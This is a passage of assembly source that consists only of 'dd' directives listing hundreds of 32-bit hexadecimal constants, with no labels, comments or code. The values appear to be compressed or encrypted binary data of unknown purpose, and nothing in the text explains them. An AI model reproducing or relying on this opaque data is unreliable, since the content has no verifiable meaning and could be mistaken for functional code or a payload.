		dd 8A071078h, 5B208015h, 8B07D408h, 58A43B84h, 625F030h
		dd 0D1D2003Ch, 0F22D9C73h, 561EB334h, 5E43C575h, 984DD56Fh
		dd 0FF72CEh, 0DD97100Eh, 0DE49CA06h, 53A52507h,	0FDB067B0h
		dd 1E9EAFh, 680715FFh, 82B5F663h, 900A674h, 0ACA531E9h
		dd 7BEB6EADh, 39C301D8h, 8778486Ah, 1BB7FC4Fh, 6D882650h
		dd 8AA38005h, 0D080E7D7h, 3F8E3DEh, 6FC5E0B0h, 4AD024ABh
		dd 0A401815Fh, 0BC0496D1h, 0AF2186C4h, 0E429A06Ah, 0BFE2B200h
		dd 2D15EBA0h, 84D400EDh, 8D0F4638h, 57282694h, 7E3AFF24h
		dd 0E40D8003h, 84512AF2h, 0CDF400F3h, 1013A06Ah, 0BD0FD22Ch
		dd 0E0099E25h, 6118BCC1h, 0EF520FD8h, 0BF2BD15Ch, 0FD40EA00h
		dd 0DDF987EAh, 0DDC570A7h, 7985C800h, 74840A19h, 86980762h
		dd 0F24BDC3Dh, 6640FC7Bh, 0BD05B0B7h, 33CB03A6h, 49BC480h
		dd 6829007Eh, 0AB118701h, 0BDEC09A7h, 0CBB42C00h, 0CE7E77E9h
		dd 0C41B2E63h, 323AD064h, 10FD7200h, 144FCE98h,	9E871E67h
		dd 2AA10333h, 1426A337h, 0B30226E2h, 6081D020h,	1C9DD45h
		dd 0B154FF55h, 0F02E09A9h, 5200B98Fh, 94C5B67Ch, 4FF364h
		dd 27DEA00Bh, 0E1A0CCDh, 0E6FDEF00h, 0A8812CE1h, 0E0431C48h
		dd 0BD524098h, 90E3893Dh, 0A572AB00h, 0A727055Ch, 4B7436h
		dd 4A597C5Dh, 6769DB0Ah, 0ACE59926h, 54261C00h,	1477F561h
		dd 0B0D829A8h, 964A3E02h, 350055DDh, 728C83h, 6142F95Bh
		dd 6E5266C2h, 51346D14h, 2B8800B4h, 30FC1538h, 0C18A00CDh
		dd 424EE65h, 0B13F1EDFh, 0C23F8073h, 0A6793E61h, 0B0A250A0h
		dd 5A220BBEh, 44003DABh, 31E61EB7h, 446A1400h, 509FD747h
		dd 0E0D30090h, 391F082Fh, 2D7F3F17h, 934A54Ch, 38A38693h
		dd 899460h, 3BCA9BF5h, 7D5D1FABh, 0D4119100h, 0DD2AFFB1h
		dd 5F8C0018h, 0E90B287Ch, 0A601ACC5h, 2C996451h, 54F889A2h
		dd 0E05D0076h, 3ECE2434h, 0FB4862D0h, 80C83F7Ch, 0B4F973DDh
		dd 0A94BF7h, 0A8FFDCDBh, 280FA591h, 0AB00CB7Bh,	4D794E11h
		dd 249363E3h, 6BB95Fh, 5449FBE0h, 4214F07Eh, 1B0C06Fh
		dd 1539BD25h, 5C24F53Eh, 7769814h, 0D896EBD1h, 1050171Bh
		dd 0DE2D6747h, 0FEAB1500h, 0B1DCD4F3h, 5E0F0045h, 0C547BDB9h
		dd 2614193Ch, 2B0A5B0h,	0A93928AEh, 0A3601252h,	30035BA8h
		dd 7BE4BEF2h, 66B0C733h, 2F0C9Ch, 0C1692B79h, 4D3964CCh
		dd 3AEDE41Dh, 5210BC28h, 471FBB26h, 13EFC07Eh, 0BA6232A2h
		dd 80677538h, 0D6B17B70h, 3174FBh, 8ACE5C9Ah, 931726DBh
		dd 7D981F00h, 0D167E6Dh, 975D017Bh, 0FED533C5h,	1B0BE8B5h
		dd 7C3B8900h, 317F64Fh,	2F40692h, 0D0DF206Eh, 4D596A2Eh
		dd 0E9D0B000h, 3658DB1h, 0AFE0C13h, 8FF09AEFh, 7C00C78Bh
		dd 16543210h, 50937799h, 0B9B4B2h, 0C317807Dh, 71728BB5h
		dd 6FF04600h, 77754791h, 97E4D5h, 844F9AE1h, 0AD023CB7h
		dd 0C8433800h, 0B5FBA33Dh, 1CC50F8Fh, 0E9A2130Bh, 3204C4FFh
		dd 0C92F80FEh, 74007BDCh, 0F3675304h, 2786AAh, 0FEDDC1FCh
		dd 3E1B22C4h, 90F05C5Ah, 0D39E09E6h, 5B804CF3h,	0FE3827E4h
		dd 0CA05F501h, 0D587D4F8h, 16698420h, 0B03ABC35h, 9300FFC8h
		dd 1BE0FB54h, 0F8C0B6h,	36F47E22h, 0CDF6D2CFh, 0AF1E3Ah
		dd 67DB3D2Dh, 0C7E040h,	0A59D25B8h, 0FF7A0422h,	0AA341700h
		dd 3B9A99Eh, 0D2E9074Fh, 0DED189DBh, 2086AE80h,	0C0032DCEh
		dd 38A161AAh, 3B9BB094h, 0F5A0C4F6h, 976C028h, 250FB913h
		dd 0E203E65Dh, 60B3EA02h, 2D3EEACh, 1822CCEDh, 11C013D8h
		dd 0AC079770h, 0C83F594Bh, 0D31F37B0h, 9D6F0BBAh, 4C000838h
		dd 77ECE1A9h, 8023533Fh, 22BB71B1h, 2980E7Dh, 3D645FC7h
		dd 50E094CBh, 2A017C72h, 27E7DD14h, 0FFC174Eh, 869C0002h
		dd 6BA8A252h, 0DD00928Ch, 87C0966Ah, 7D05CCCh, 0BB47DCD8h
		dd 720EF31h, 3B4B1E6h, 6516AD13h, 9BE48Ch, 0E532E1C0h
		dd 1F0E21F3h, 26A0C600h, 5653A449h, 151838C8h, 9067BE81h
		dd 60179CA1h, 660EB4E0h, 6049558Bh, 0DCF614B0h,	106060B2h
		dd 0D5FF85E8h, 4D7C4000h, 0A1AB9312h, 0B5423EE2h, 0E4CC1080h
		dd 0B3524C4Fh, 8738003h, 0C70564CAh, 6626EE50h,	4BE53DA4h
		dd 0D698004Bh, 76F99D17h, 0C400424Bh, 0BE6E2D61h, 0FCCD003Fh
		dd 396AA148h, 6D48E9FBh, 20870060h, 0CE71850Ah,	0AD150058h
		dd 2937C88h, 0F9007424h, 5F2B25A3h, 7DE7172Ch, 0B22230A1h
		dd 4F21DD88h, 0CB0059FAh, 0FE66731Bh, 1C574742h, 80A77BC8h
		dd 528FB71h, 321F50A1h,	0B4C0F774h, 0FD734E79h,	383B0035h
		dd 0EC6A6D37h, 67182280h, 19ECFF4h, 47CE01C3h, 0B6A011EFh
		dd 97EC3086h, 0F576C800h, 2DC2DB8Fh, 0D310310h,	14BD2E45h
		dd 9E888CF0h, 9D0086EAh, 6D5344E9h, 0E85A0Ch, 0C5C18D6Fh
		dd 41CCAED2h, 1A00F098h, 0A0FDA2EBh, 0D37886h, 8D1F32E2h
		dd 0CA0B4E4Fh, 0AB588100h, 0C15CDA4h, 2F9C01B0h, 8DFEC475h
		dd 43F2F4E7h, 0F9190800h, 5BCA63C5h, 0A0AD2E64h, 88218040h
		dd 0AA60439Dh, 5222B102h, 400E9606h, 380BA56Ch,	8D821E85h
		dd 0A78A4EB2h, 532674C8h, 1103AB7Bh, 43E74B89h,	3B182671h
		dd 0FE2E0111h, 2053A6D1h, 4006BF3h, 14342B6Ch, 733307C0h
		dd 0AA00027h, 0FFCF62F7h, 0F89BABF8h, 243F7400h, 0AA9590h
		dd 0E90ED7BFh, 399B30A2h, 0DC038200h, 0FBD29C6Fh, 0D7BE04D3h
		dd 0B0BFCFE8h, 0CD728D34h, 87903Dh, 0FA3020A5h,	3F9FB6C6h
		dd 0C94C212h, 1B0FFC4Fh, 0EF8159B2h, 0CCF03B7Dh, 3D00F251h
		dd 0A75D860h, 0E8B18AAh, 997C97E6h, 6381BE87h, 0B1C0F9E7h
		dd 0C6382F7Bh, 2D6A8091h, 0EC04DA9Ah, 133498EFh, 40E9D46Ch
		dd 0C94A5B84h, 2D01A664h, 937E845Fh, 2432B975h,	5440B1Ch
		dd 81BD983Ah, 60AB8BF0h, 0F9393951h, 21468033h,	38DE2FCFh
		dd 2B7B3C95h, 2E171800h, 81333F5Eh, 0E120E505h,	0B4C3F0EBh
		dd 715DA053h, 0D72200D1h, 0BFB325AFh, 0BC009094h, 0F6A04D8Bh
		dd 0FAADD5h, 187971Ah, 33C3DDB1h, 8F00E37Eh, 0EF300215h
		dd 1C4F4DB2h, 3A03C6D9h, 12A97C00h, 0E7275D08h,	8000E871h
		dd 2F17A29Bh, 5BC499h, 0FA194BF5h, 188FEB14h, 8B00E071h
		dd 0A47A3BE7h, 0DC0F90h, 85A65ED7h, 0FEBB5B23h,	2B096200h
		dd 0FD480AECh, 5D5800F5h, 6CE19A56h, 92766D0Ch,	7DAF260Eh
		dd 4E450127h, 0FAC48695h, 0CE6A0090h, 131CBC74h, 0F9EDA52Dh
		dd 4CF0E665h, 1A8B8701h, 688372ACh, 1F4E0C20h, 31A1F2h
		dd 5CE8F532h, 2E1D0D10h, 9800FC9h, 469FE4D1h, 0FEC80055h
		dd 28B987A0h, 7000C5B0h, 0D0B21CB1h, 335C3EAh, 89FD18AEh
		dd 45F28B4Eh, 0D80DF740h, 0E392CD1Fh, 9B0E7A2Ch, 0D47FC0DAh
		dd 1AEE5B7h, 0C0A04E0Ch, 78075433h, 111C27CCh, 68341230h
		dd 0B8FB00D0h, 0A5FC09AEh
		dd 0E1FE1ABEh, 635BB400h, 256BF171h, 5A8B013Ah,	0ADC16FCBh
		dd 0D412E0EAh, 0C02812Ch, 341E9201h, 11CC2E8Fh,	3AEA7D5Eh
		dd 8D009987h, 0DC9C5974h, 0EC002D9Eh, 3CB59DBCh, 0A2BA47h
		dd 97F6AE4Bh, 415ADD5Eh, 7E4F7700h, 0DFB30C10h,	0B7C303BFh
		dd 1D1285B4h, 0C99E40B0h, 56BB4F00h, 52B372D4h,	45FB00D5h
		dd 0A1B210ADh, 1513BCC1h, 1D1F21EAh, 7CB5DB80h,	1E55E696h
		dd 8E50CECDh, 1201F6Eh,	988247DDh, 7302AAE2h, 0EB07CBBDh
		dd 44F4E00Bh, 25630737h, 344957h, 8A854DA5h, 6BDBE807h
		dd 0F077FFDAh, 0E40E4490h, 0F51300D5h, 0B81A1E43h, 4700808Fh
		dd 62936C63h, 0B2F0F8Dh, 887B05Eh, 0CAE40F80h, 8848EC2Ah
		dd 9C4B2920h, 0E88D2F00h, 0B08A0EBEh, 51B9057Bh, 2C46A3Dh
		dd 52EBECDCh, 9C869203h, 0E35E3090h, 8CE700EDh,	6EA972B6h
		dd 800063DCh, 54277BF3h, 0E817F167h, 5E7403A0h,	0E356247Dh
		dd 0BF5528E0h, 7ADA4103h, 0D81FBCA7h, 0FE50338Bh, 9B9F470h
		dd 3ED9A91Dh, 66C81C20h, 0DD48F8C6h, 0EF0476B0h, 1C1E7A76h
		dd 0AEA980D0h, 91620C23h, 54F00874h, 0B788D200h, 58243D42h
		dd 0E21000E8h, 35CB7C4Dh, 78009469h, 77A1867Ah,	205EC7Eh
		dd 2B33BC87h, 0FE0BF31h, 2A1DDAEFh, 0E7C1F39Ah,	0C38B7258h
		dd 3CB2B870h, 0A2BE7ADDh, 2FD03881h, 0F5F104h, 0EE4B122Dh
		dd 0AF7107A7h, 0E025E45Eh, 237920C2h, 3204DC00h, 0A0CA695Ah
		dd 0D5F70050h, 6833E3D9h, 0DA00392Fh, 708E56A7h, 8526234h
		dd 3A0863Ch, 0A417E100h, 656777h, 3DEBC3CAh, 4B2A7043h
		dd 33490B2Ch, 0E3AC0600h, 72FEB566h, 1CCCB0ECh,	40256ED1h
		dd 81059E7Eh, 10009FAEh, 0EDC69617h, 479CB86h, 0F122AB36h
		dd 7124C0B4h, 722CE38Dh, 340084A7h, 676F0BBCh, 0EFF501CFh
		dd 0DA383FBAh, 20A020A8h, 918BB700h, 5D2E335Eh,	0D0C900BFh
		dd 5BC929Fh, 8200A7C8h,	6D77D837h, 2E1C1D91h, 0FC852AFh
		dd 0F4C2220Fh, 40604150h, 10003ACDh, 514F6E9Eh,	3EA47695h
		dd 3680D2D7h, 0F7DAC501h, 0F80B9FD9h, 6A7FB4h, 26390868h
		dd 55100002h, 210E0D92h, 2A4CCB03h, 0B1BF2818h,	0FB319500h
		dd 99EAA865h, 0B28A07FAh, 60E3BE26h, 5266D3E9h,	289B7A24h
		dd 6BD8AF04h, 622DF4A8h, 546A0400h, 94B91AC6h, 8091AE0Fh
		dd 5E5D10F0h, 175100C4h, 0DF436E34h, 673AF761h,	309287ABh
		dd 0F440D229h, 3B86D7h,	75F34012h, 36FC961Ch, 8B0038FAh
		dd 220C9DA2h, 8A6EDBh, 59F3F603h, 0A9A3CD30h, 0B7684B07h
		dd 8E60229Fh, 0EA84987h, 0B34E4138h, 82CBA4C0h,	2C0037F7h
		dd 537D4BB7h, 1809AC8h,	0D9E35F8Ch, 7ABF4D62h, 6FFCF480h
		dd 31EB007Eh, 0C8A86AB4h, 0D41CB307h, 7F40A09Eh, 79822D15h
		dd 0E4C600C5h, 36E5711Ch, 12007605h, 0F357B583h, 0FCDF6CFh
		dd 0F232DD6Dh, 27518C00h, 8500A1F7h, 30A659C1h,	95ED19Dh
		dd 456270E8h, 8673898h,	0E6E3B100h, 0B6052DFDh,	0BE650099h
		dd 46E7C8C9h, 1001D59h,	6A4FDA96h, 4CCB3Bh, 0D013A79Dh
		dd 0A6441787h, 7893EDEFh, 0C4F20188h, 0A37B28F4h, 0FE1FFC68h
		dd 3F43C0CDh, 0D0F69AEFh, 1055C826h, 1CCEAB02h,	7CDA74h
		dd 8D8315FDh, 0A49A802Eh, 60948E00h, 0AF55F443h, 398C0037h
		dd 72BD2F93h, 1000F3D8h, 256CEA16h, 69DA8F4h, 60553391h
		dd 0F200989Eh, 5129952h, 90A7C50Fh, 584F0020h, 782F51BEh
		dd 0CD00DF64h, 0C48DE713h, 307C53Ch, 4BA03AEFh,	0A4C20573h
		dd 2437DC0h, 82E6EC27h,	60CC9794h, 0E43375E6h, 3918901Eh
		dd 6580B0ABh, 0C4173B36h, 0C904A482h, 23571DC3h, 0DCC0D094h
		dd 0BEDD4599h, 75A61Ch,	0B9E85C1Fh, 0B52E0D62h,	711FD49Ch
		dd 0CAA3D200h, 71C98B16h, 0FE2A0018h, 5856BE21h, 0F9007B1Fh
		dd 0B7C7A6Eh, 85CF36h, 6C9F06CDh, 2DA81756h, 98FA1B00h
		dd 511E0C31h, 4A69E039h, 9C0404ADh, 106B868Dh, 8085D638h
		dd 90879237h, 1C617A5Eh, 1235083h, 5D9C7627h, 64AAE477h
		dd 1B020607h, 8CC3FC12h, 7FE4A9CBh, 60E195F4h, 0D897C8C6h
		dd 3A1D1973h, 0CE09FFC8h, 87708072h, 0B43DFh, 0EEE671CAh
		dd 0DE45C2FAh, 1FC9CB00h, 0ECB7D1DCh, 6DFB0090h, 40293F0Dh
		dd 5F006571h, 0F0BEBD79h, 0F4D06291h, 0F7BF8EBh, 2A441BCBh
		dd 73CAB640h, 550951ACh, 28E041h, 0B3947220h, 22400A1h
		dd 0DDC5CD95h, 90018C9Eh, 0E6BE8EB2h, 0F1DC52F0h, 9231006Ch
		dd 2A72B051h, 85007DCCh, 0AFCEC077h, 0BF21D2h, 444BAA8Dh
		dd 5B2A2C53h, 4E109900h, 0A1A0FB8h, 86EA2CFCh, 40401FE0h
		dd 0FABA69C3h, 5094B82h, 0F5969Dh, 4D2E806Ch, 5A360063h
		dd 70A06210h, 3025C17h,	0B8EA5275h, 0F09C6054h,	58E4F586h
		dd 0E5CB0737h, 0C7BEBA9Bh, 81C230FEh, 77B01DDDh, 0B9768200h
		dd 0B6ADBCCBh, 78B700CCh, 1ADBFD6Eh, 0F4005F8Bh, 2094871Bh
		dd 6598B4h, 3BEB476Dh, 7190C9A0h, 0F208A10Eh, 6E862245h
		dd 7AE4DA7Ch, 2AE44Dh, 0DAF0D29Ch, 20226A14h, 0CEF5DE00h
		dd 3DF26EBFh, 0E64BC7h,	0CA267CA4h, 0EF03194Bh,	382F4D18h
		dd 73FFE0CBh, 747873C5h, 7186038Ch, 3A47CCB9h, 78A5480h
		dd 0E214CDE2h, 5AA8042h, 6D5A756Eh, 72FBA4C0h, 0D6938B4h
		dd 10B5B203h, 0D2E0BB26h, 0FE0BAB62h, 87717BD5h, 7CC5ED11h
		dd 0E9799C00h, 1337E97h, 0CBA88B49h, 0FC30A4B7h, 3F0748C9h
		dd 2FBCC319h, 0F2E0C657h, 1F20DCE9h, 30974795h,	4B793410h
		dd 4D6B2900h, 0C0C793BEh, 7738B01Eh, 47F5000Fh,	0B479F08Fh
		dd 498E61Bh, 0D64C6A00h, 0AB2E5B44h, 0C23500CCh, 0CA2D0FDFh
		dd 2B00C1A4h, 258A3FDEh, 303E12D8h, 0C282FF1h, 0C2006F1Bh
		dd 9FC84729h, 0E6171FA1h, 15490110h, 0B3721C32h, 2F3DC124h
		dd 0B08A1805h, 9007B881h, 600A828h, 8DB1C126h, 6F009AC7h
		dd 0E45FC6F5h, 0E0677539h, 1C142799h, 0B318EFD8h, 0A21834CEh
		dd 0CF8C00D7h, 87D41E92h, 91004031h, 50128A8Bh,	38C9CC93h
		dd 8814EF9h, 4DE3C147h,	9910A882h, 3D3D227Eh, 0D9FE800Eh
		dd 89A00AECh, 69F60016h, 0C2FB2483h, 0F34D8B8Ah, 0A81AC13Ch
		dd 1BE8B42Fh, 2A38007Eh, 19855037h, 700148FBh, 0A106577Ch
		dd 1660F790h, 0BD0F01EFh, 292AB9B6h, 0F5422051h, 1F084207h
		dd 0C08FE296h, 0AC658CB3h, 0EAF49872h, 0B7330060h, 5609409Ah
		dd 8F07EFD3h, 5F3CA18Bh, 0DA987590h, 0D50C00E1h, 0CBFCF89Ch
		dd 0F402BE14h, 257BF75Bh, 0B7FAC196h, 0B09AABECh, 0B2650014h
		dd 49DF043Eh, 8214787Ch, 0EDFFE5h, 21F7359Ah, 7E9B1Dh
		dd 95AF32A8h, 5AFE053Fh, 381E3338h, 82B8804Dh, 65BFE430h
		dd 0C8A013E3h, 99540074h, 44D8FFF1h, 6A2A4600h,	0DC68B031h
		dd 25B10050h, 71F74CAFh, 531E67E8h, 0BC80D0FCh,	39278052h
		dd 4290540h, 0C0C5F08Eh, 724730BFh, 48DB7303h, 0C74A2C9Eh
		dd 256D0490h, 266C0092h, 0E67BD268h, 0FF1DB8B1h, 0C408F85h
		dd 0CDA54F97h, 0B3F3AE4h, 0FD3E4D3Ch, 1810AF00h, 28BA8567h
		dd 0C01E58h, 0DDBF2AD1h, 6A912C8h, 0CBB422A4h, 0CE0458F8h
		dd 0DE8A346Fh, 0F4A2BCD4h, 9E18E209h, 920940Eh,	0AA4D752Bh
		dd 59D92A00h, 0F026F34Bh, 9217051Eh, 83DBC71Ah,	6480964Ch
		dd 6C070C9Bh, 7F02C05Bh, 18F80079h, 12F86873h, 8EB7F3h
		dd 0FE70605Ch, 3200B61Dh, 0B1F64E5Ah, 1D443ECh,	0AFE54974h
		dd 802F8961h, 0AB756896h, 781754FFh, 0F51E655h,	0B7BA8EE2h
		dd 1C812C20h, 5001C1C0h
		dd 0B178E5A9h, 0EDD722D5h, 70DCE0F1h, 59170023h, 0E1666250h
		dd 0E0077AEh, 68E9DA12h, 720CE75Bh, 0E8C20067h,	8BF7EF87h
		dd 0FFF6DE9Fh, 0DC565203h, 83F9810Eh, 0B549C0C9h, 7C4602C3h
		dd 0BDA2BC1Eh, 46A6345Eh, 0B0074100h, 13C3EAFh,	0A46B675Dh
		dd 0DDB59B4Bh, 7213207Ch, 0CC75ED25h, 8BDF0A68h, 0A4E223h
		dd 6245A8BEh, 0ACE67CFCh, 2AC584Ah, 0CD77BA01h,	2ABEEC8Ch
		dd 855EF400h, 0EFF57B6Ah, 71125220h, 92013A15h,	76AA3880h
		dd 0E6BD8B3Bh, 42B6AC1Dh, 1A161480h, 71998h, 0B0E91EAh
		dd 0AAFF77AFh, 9CF62500h, 0EC30B181h, 0A26C28E0h, 0FCE77390h
		dd 0D6F04B4h, 878F5544h, 63A9010Ch, 8FBE424h, 1CABD3Bh
		dd 0FA0EB56h, 5DC87A60h, 66AF00B2h, 0C162BF0Ch,	0EB037CA5h
		dd 0C8D4B0DBh, 27FFB02Eh, 0A14D0049h, 9D9B8CE8h, 0E9008A82h
		dd 0F8523881h, 1805975h, 0FFF2C609h, 0E1CB0F34h, 0E8902150h
		dd 0EC03A29Fh, 0E4E0673Ch, 0B0C7986Ch, 0C9020EC4h, 0B8806D7Bh
		dd 0C10605C3h, 0C8816660h, 1F47FB7Fh, 1E127EAh,	0DEE5D052h
		dd 29722061h, 0C3914E00h, 0C44DFFF3h, 0F7732Ah,	44A5B63Ch
		dd 2E61A61h, 4A63A200h,	2319724Dh, 8D78002Bh, 6DA94B5h
		dd 71003A61h, 7A881B98h, 31A587h, 4EB8CF67h, 83E60FC0h
		dd 0F9BD9000h, 7E6446B4h, 6084735Ch, 875E40C8h,	0E81F6838h
		dd 81F8C582h, 0F8A553EBh, 79D8AE6Ch, 0E52C0047h, 8B4DF3A8h
		dd 340EEF49h, 40DA8F0Bh, 62298296h, 1E741DEDh, 501FC311h
		dd 0C4F85E8Ah, 6A002E0Ch, 9D37F2ACh, 71C85BDh, 0A76E12ADh
		dd 915F40B6h, 0FD0144F4h, 3AFB1668h, 6AD87ED1h,	522F0413h
		dd 0BC5E8771h, 0FC1901DCh, 740AF969h, 9CCEE4h, 83404E42h
		dd 7F49FA9Ah, 0E6665503h, 8047BEF8h, 22FFDFCh, 3C09AA89h
		dd 0FC7EB5CEh, 0E9698300h, 2D171DB6h, 0DCA2A003h, 0D0544BD3h
		dd 0A1265A00h, 16E186h,	50DB2882h, 0EDAB8DEEh, 7C69E800h
		dd 91640C04h, 5A0E1D08h, 971ABE3Ah, 4A8060DCh, 0EF093F2Ch
		dd 5D5F4C00h, 2E7C71DFh, 0CE300217h, 3D7F1BF9h,	0E2C898E0h
		dd 75E11201h, 0A17EF86h, 0E7B485EAh, 97608B87h,	305C2E68h
		dd 0F03112FDh, 30E4694h, 40EB51A6h, 2BDFE55Ah, 0D00A3972h
		dd 4F5DC00h, 5F2AC1AAh,	415738C0h, 99814Fh, 87B96F46h
		dd 0CA1A2DB0h, 9E83A0Bh, 0C05843D7h, 0F270D2h, 555883A5h
		dd 6EA43534h, 6CDBD517h, 386F44C0h, 33A4A8A6h, 8A4C4CCFh
		dd 911F290Eh, 6A6A7C87h, 9C4F0010h, 0DF57BF6Ch,	8B10E407h
		dd 31C0A7BBh, 607C565Bh, 64C8EEFBh, 610021CFh, 10520ED7h
		dd 0E4B6071Bh, 355F000Dh, 0FE15917Ch, 6616F2ECh, 23007925h
		dd 0F4FCE86Eh, 0A509000Dh, 0BF76DC9Bh, 0ED01D698h, 6673C42Dh
		dd 5470EEBCh, 17570148h, 93DD434Ch, 2859DCDAh, 0A5E51900h
		dd 474FF4C3h, 489009Dh,	0ACB2A3D3h, 0EE001A2Ah,	81655352h
		dd 3B211B41h, 25050FCEh, 80349C4Eh, 716D4B9Dh, 456CD800h
		dd 2241167Eh, 8BEF0504h, 472AD934h, 507967D8h, 0B824CF72h
		dd 0B816F3Fh, 607C6CDCh, 41A9F4h, 62C7A7DAh, 8E987B9Bh
		dd 0EEE06E76h, 0E268F11Ch, 337AE680h, 0A66F1Bh,	0F5014349h
		dd 0E86124BEh, 300DEEEh, 0D2CFB460h, 7B411EA2h,	60066173h
		dd 0E876E228h, 390388A4h, 0D55387FFh, 1CC3FCh, 71B08320h
		dd 97926EAAh, 0F3EA7E8h, 70C9FAFAh, 0DB6820CCh,	4CDEA2h
		dd 325DA877h, 0EF4D0CFEh, 0EC8A5B00h, 0FDA0E0E4h, 18856094h
		dd 6FB3F426h, 0F04C749h, 40ECD8EAh, 2BA6E1CCh, 0E21063Fh
		dd 2008902Eh, 23F89Dh, 0D5D67CC5h, 0DDF6E02Bh, 9AEF25h
		dd 2AB12760h, 688A3ABh,	525BDBE0h, 891F1014h, 7F0343DAh
		dd 0CBF65390h, 0A17A888Bh, 6B930096h, 0EF3FBF62h, 0E3003285h
		dd 0CA956070h, 48215Fh,	53D26E1Ch, 95939FFh, 81376F00h
		dd 9E83A273h, 0D9B400CCh, 0DC1040F9h, 0A000C486h, 7796A72Ch
		dd 0E4FE027h, 1583818Bh, 3AE4041h, 2A3019Eh, 68BFF0h, 4FD10AFDh
		dd 59979965h, 7B9D5400h, 58F04E4h, 0D0EF00ACh, 69F4B529h
		dd 28169AF7h, 5F06E5E3h, 0A2DBAh, 0FB623B41h, 10CCA4F8h
		dd 971F90EAh, 70C1CFF4h, 94A2FD75h, 3902D9F4h, 0F807E99Fh
		dd 0F0B045BCh, 9D987E27h, 26D20403h, 0BE739E85h, 33ED0091h
		dd 0D8F10938h, 4EF6EBACh, 74D31900h, 2CEFA51Fh,	6E5A3002h
		dd 67093530h, 243C1D7Ch, 3EAC0105h, 8C6AF684h, 17FEF080h
		dd 100D6658h, 8D704100h, 3A34A947h, 8FF80969h, 0E864AEFh
		dd 0C60259A3h, 38F4D503h, 0A9BD181Dh, 42364740h, 0F9B4119Eh
		dd 1BB427Dh, 88F7AE7Dh,	9E0CBD4Ah, 0A1B19362h, 58C48C9Bh
		dd 0F7B120A5h, 0A9614EB0h, 25AC1C59h, 8BC9801h,	4988A851h
		dd 1084A669h, 14F46566h, 3C2C8515h, 21FAA04Dh, 1404319Eh
		dd 0AC0F0ECAh, 7588EF48h, 20959EC4h, 721FD01Ch,	6550AE58h
		dd 36EB006Bh, 0C5EA3D39h, 35382DDBh, 222C00C9h,	0D19A13D8h
		dd 583007Fh, 843B97AEh,	900C5566h, 81E39FDBh, 6D8036Ah
		dd 97BDDA49h, 0BBB7000h, 2C26C3C6h, 6B6407FEh, 2074B188h
		dd 24AA815Fh, 33E5A000h, 85D161B9h, 2A1C005Eh, 0D6842D15h
		dd 9300297Dh, 7C04F8DDh, 710CBC3h, 16D22572h, 0C133D4BBh
		dd 0F0CA1E4Fh, 1A3F2C4Dh, 0EBD100BCh, 0FC313842h, 3DC8A087h
		dd 0DC45546Ah, 0ACDB0FB2h, 0E9231A9Fh, 95E184E5h, 5439E08Dh
		dd 3A103D61h, 0C089A679h, 10007A42h, 0FF819DEFh, 93828500h
		dd 0CB042B7Eh, 5DBD03FBh, 5C30CE10h, 0B1BBC0A5h, 3A28A780h
		dd 0C088ACAAh, 0BE0154A1h, 62BBDAC1h, 97417CE5h, 0C3E41ED3h
		dd 0FC9E384Ah, 107C789h, 0F03DB000h, 59030365h,	0CE9FC48Ah
		dd 1832152Ch, 0FD2ED8A0h, 4AB1003Bh, 23EAAA36h,	66F82C00h
		dd 789008C6h, 3F61C88h,	855AC0CAh, 47F04811h, 7D76300Fh
		dd 92F4E0F2h, 0DEFE74h,	0F88E434Ah, 0EE40B0A9h,	62579A00h
		dd 2966D1D4h, 3171C0E2h, 799D42E4h, 27A9FE0Eh, 0F7682140h
		dd 0BFC4F238h, 706E020Ah, 2B0D209Eh, 0C1CD9880h, 6F9873E4h
		dd 64E32700h, 94CAD8A1h, 0B3C01E2h, 8AE982CBh, 4F742077h
		dd 0BA39AE12h, 8C758407h, 0A458D440h, 6F0200B1h, 7DD0F922h
		dd 320153A8h, 0F131440Ch, 0C9D42877h, 0ACF406C8h, 0C8B0D1D9h
		dd 33C3DC0Fh, 83BE73Eh,	9F80FBE4h, 7025E79h, 0A26E4A40h
		dd 97E2FE9h, 0A5877A36h, 502590B0h, 5DEE8D94h, 8384AD1Ch
		dd 1149040h, 897772h, 9D1121B2h, 0AAC1E1EDh, 0B0EEB930h
		dd 3CD03083h, 0B583BE9Bh, 4E5BE5E4h, 4F004050h,	7EF6BD01h
		dd 0D205A721h, 31E5E841h, 9257AE00h, 182998A8h,	0E7B29B09h
		dd 0A9CC83F6h, 2C2DC8E4h, 0B0FC004Ch, 72FF3A3Fh, 1C004DB1h
		dd 4AF3E95Fh, 0F8C03Ch,	9C76B002h, 0DB68F59Eh, 0BF001C76h
		dd 4C69E6E4h, 0C3171F6h, 0A03439Ah, 821E8E20h, 1F008FCAh
		dd 2BB777ECh, 0C89B0A80h, 3ADA6802h, 189548AEh,	0CBBC3046h
		dd 0A1A41F00h, 0E1E70D3Dh, 0FD660FC5h, 27262080h, 6C7840D8h
		dd 1750D400h, 0C938AB9Fh, 0E60F0635h, 493B9A39h, 0E790BA00h
		dd 0D4836EA9h, 0A2AC0089h, 80345657h, 463FCA78h, 2D7102DDh
		dd 0C07942D1h, 7ECC2B1h, 0B42C3D8Bh, 0A4CAA030h, 238F475h
		dd 0D9E8CF73h, 805D1900h, 0E0BFDAE3h, 40AAB602h, 60212E4Eh
		dd 1E724F27h, 10AED8Eh,	2C300DEEh, 0A7163005h, 0C073A378h
		dd 9FB27100h, 24DEAEDAh, 0F74E4E4h, 0D44C25C4h,	0C88D0BE0h
		dd 1B0760B5h
		dd 0B228BDEAh, 236B9C70h, 10200F76h, 0CD400E3Eh, 315ED151h
		dd 1ECC9713h, 25603D00h, 28DC8h, 0DB35BC24h, 0C2A12F18h
		dd 0BBB6D0FBh, 37CAA300h, 0A6D5BFF8h, 0CBCC0076h, 56F1D16Bh
		dd 4F004829h, 0A94135E8h, 0FD2BF1Bh, 0BDF8D5F6h, 0B846E6C0h
		dd 9B001504h, 1A07213Eh, 614CC4A8h, 9E7F98B4h, 99ACE09Fh
		dd 0C12310C3h, 8D5AC9E5h, 6235D0h, 0A5E80197h, 0E0FC3BC9h
		dd 24D17D00h, 0D5AD1CFFh, 0A86B00CEh, 698CF594h, 0F61FE920h
		dd 0ED013EBBh, 466528A5h, 734467E8h, 7A2703A6h,	48774BBCh
		dd 87D8B2E8h, 0E3D9A900h, 894A4EB5h, 0D35000E8h, 70BB14FEh
		dd 0E0E8FA71h, 57462300h, 58BF3F98h, 153E40B3h,	3A0F227Ch
		dd 56EA92h, 0F9745B5Dh,	0F1F1F1Dh, 0D2DD24h, 2C73D484h
		dd 27009920h, 0B8599BDFh, 0E5101F07h, 8FC3DCh, 0E2F14AD4h
		dd 0A7EE31AAh, 0E762CC00h, 0ADC3F40h, 0A4C200D7h, 0ED336C05h
